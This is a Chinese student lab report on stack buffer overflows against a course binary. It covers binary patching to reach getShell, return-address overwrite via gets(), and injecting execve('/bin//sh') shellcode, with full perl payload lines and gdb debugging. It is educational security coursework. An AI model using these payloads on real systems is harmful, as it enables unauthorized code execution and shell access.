1.实验内容
1.1学习内容
- 缓冲区漏洞的概念,发展历程,经典案例
- 缓冲区溢出的基本知识
- gdb的基本操作:break、step、stepi、continue等
- 基本汇编指令:push、pop、ret、call等
- 栈结构:环境变量/参数和个数以及主函数和调用栈中函数的临时保存信息,从高地址向低地址增长
- 进程内存管理、函数调用过程等
1.2实验任务
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
- 注入一个自己制作的shellcode并运行这段shellcode
2.实验过程
2.1直接修改程序机器指令,改变程序执行流程
1.将物理机中的pwn文件复制到虚拟机相应目录中,将文件名改为自己学号,cp命令复制一份,使用objdump -d命令反汇编该文件,结果通过 | 输出到more进行查看
2.重点关注getShell和foo的函数代码起始地址
找到main函数调用foo的字段
3.修改main函数中这一步调用函数地址,将foo的地址改为getShell的地址
原理:此处的机器指令为“e8 d7ffffff”,e8代表跳转,d7ffffff为从低位到高位顺序读取的字节(根据小端存储原则,低位数据存于低地址,因此拼合成的原数据为0xffffffd7),eip值(当前eip指向下一条命令,为80484ba)+ffffffd7(-41补码)即为8048491,foo的跳转地址。
若要修改为getShell的跳转地址804847d,则应将ffffffd7改为804847d-80484ba=ffffffc3,即将d7改为c3(存储时字节按地址由低到高顺序为c3ffffff)。
用vi打开文件,输入 :%!xxd
转为16进制,/e8 d7
查找(注意中间空格),切换到插入模式更改,:%!xxd -r
转为原格式,:wq
保存退出
退出后可再次反汇编文件查看修改是否成功
4.执行文件,可以看到程序执行流程被改变
2.2通过构造输入参数,造成BOF攻击,改变程序执行流
1.观察foo函数中调用gets函数预留的缓冲区大小为0x1c(28字节),在堆栈中返回地址之下缓冲区之上应还有4字节的旧ebp值,说明该BOF攻击中若要能够覆盖原返回地址,其前应有32字节数据填充(溢出)
2.输入长字符串验证是否32字节之后的数据能覆盖到返回地址
原理:因为此函数中返回地址实际上是调用函数时eip压栈值(即下一条指令地址),eip如按照预期被覆盖则程序应该会在此处报错停止
可以看到eip已变为0x34333231,即输入的第33-36字节1234的ASCII码存储,说明只要在第33-36字节插入Getshell函数地址就能跳转到该函数
3.由任务一的反汇编可知getShell起始地址为0x0804847d,因此将输入改为32字节+\x7d\x84\x04\x08 使用perl生成字符串并重定向到input文件中,xxd转为16进制检查,(cat input; cat) | ./pwn
在将攻击代码输入文件后测试shell功能是否成功可用
2.3注入Shellcode并执行
1.做准备工作,查看堆栈是否可执行(RWE代表可读可写可执行),关闭地址随机化
2.构造payload
原理:因为要覆盖的返回地址位置固定,因此有shellcode在返回地址前/后,nop空操作用于填充字节,在返回地址无法精确定位时作“雪橇”滑向shellcode,所以有两种方案:
- nop+shellcode+retaddr
- retaddr+nop+shellcode
2.1 nop+shellcode+retaddr (教程失败尝试复刻)
nop+shellcode部分一共32字节,\x4\x3\x2\x1用于调试检测,理论上应覆盖到返回地址
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
接下来需要寻找到shellcode的开始地址,先(cat input_shellcode;cat) | ./pwn
注入运行pwn,然后在另一个终端ps -ef | grep pwn
找到进程号,用gdb调试
因为需要查看shellcode被注入后所在的具体地址,在反汇编查看foo的指令后可在最后一步ret处设置断点,此时shellcode已被注入到缓冲区处,且在栈结构中位于返回地址下方。continue运行一下(另一个终端回车)
在ret断点时查看栈顶指针esp应位于返回地址处(注入后地址内此刻应为0x01020304),可由此顺藤摸瓜找到shellcode地址
修改payload中的01020304部分,改为shellcode地址(由于一些诡异的原因我重新做了一遍,但shellcode地址和第一遍稍有不同,不过问题不大,改完后再查看断点处esp指向地址内时shellcode地址就行)
这时候去运行pwn文件,会发现依然不成功。结合shellcode的机器指令逐行调试可得出错位置
分析可得,低地址到高地址为shellcode+nop填充+ret地址,在断点处esp指向ret中的返回地址(即shellcode地址),执行完ret这步后eip转到该地址执行shellcode,之后随着push操作esp向栈顶低地址方向增长,eip的指令每次+1向高地址增长,会发生冲突(截图可见eip和esp的值仅差2个字节),在push操作中push的值会把shellcode指令自身覆盖,因此行不通(也就是说刚开始考虑的nop+shellcode+ retaddr结构在shellcode的尾部填充不足,导致发生shellcode的覆盖,考虑到缓冲区本身容量并不是足够大到补充尾部填充,因此需要改用anything+retaddr+nops+shellcode形式)
2.2 anything+retaddr+nop+shellcode
返回地址前面改为32个A进行填充 perl -e 'print "A" x 32;print "\x40\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
和前面一样的调试方法,可看到shellcode此时的地址已变为0xffffcf64
修改payload,再次运行,成功!
3.问题及解决方案
为什么本人一直在实验还没真正开始时就遇到困难orz
- 问题1:在桌面文件夹中可显示文件,但在命令行中无法打开
-
问题1解决方案:由于将kali改成了中文模式,没想到跟Windows不一样的是此虚拟机中中英文是两套路径。。。。要将路径中的英文Desktop改为中文“桌面”(或直接进入文件夹右键在此处打开终端)。。。
-
问题2:刚开始运行文件时显示权限不够
- 问题2解决方案:chmod命令更改权限即可
- 问题3:虚拟机无法联网
- 问题3解决方案:修改网络接口配置文件,将虚拟机从NAT改为桥接后eth0成功显示ip地址
- 问题4:任务3前期准备中按照教程死活装不了execstack,通过
wget http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
网站下载显示404(应该是被移出debian的下载列表了?)
换个方法安装解压prelink也困难重重(如下)
下载学习通里的prelink复制进虚拟机解压,按照下面操作1. 进入正确的目录cd prelink-xxx # 进入解压后的目录2. 检查文件ls -la3. 运行 configure./configure到这步卡了,显示各种依赖or包没有安装or需要兼容版本or打补丁......
总之最后这条路也放弃了
- 问题4解决方案:本来只是想查看一下堆栈情况,意外发现它本来就是可执行的......?那请问我前面的操作是在干什么....(一阵眩晕)
4.学习感悟、思考等
本次是第一次用Kali虚拟机进行实验,实验过程中遇到了很多哭笑不得的问题,一度非常迷惑和崩溃,但是好在有老师和ai和互联网的帮助总之是通过各种千奇百怪的方式解决了(嗯)。同时也在执行实验步骤时发现了在学习前置知识如堆栈结构、函数执行流程时还存在很多理解不到位不深入的地方,在亲手实践后,对这些知识的认识更加清晰和明确,对相关的指令、寄存器、调试操作更加熟悉。特别是在任务3中,通过复刻教程中的失败案例让我更透彻地理解了payload的构造逻辑。
同时我也认识到,仅仅是最简单的缓冲区溢出实验就花费了我不少时间,在真正的网络攻防过程中一定有更加困难和艰巨的挑战,需要不断学习和实践才能将这门课的知识掌握得更加全面。
参考资料
- 实验指导
- 虚拟机无法联网问题参考
- 学长学姐实验报告
- 《网络攻防技术与实践》第10章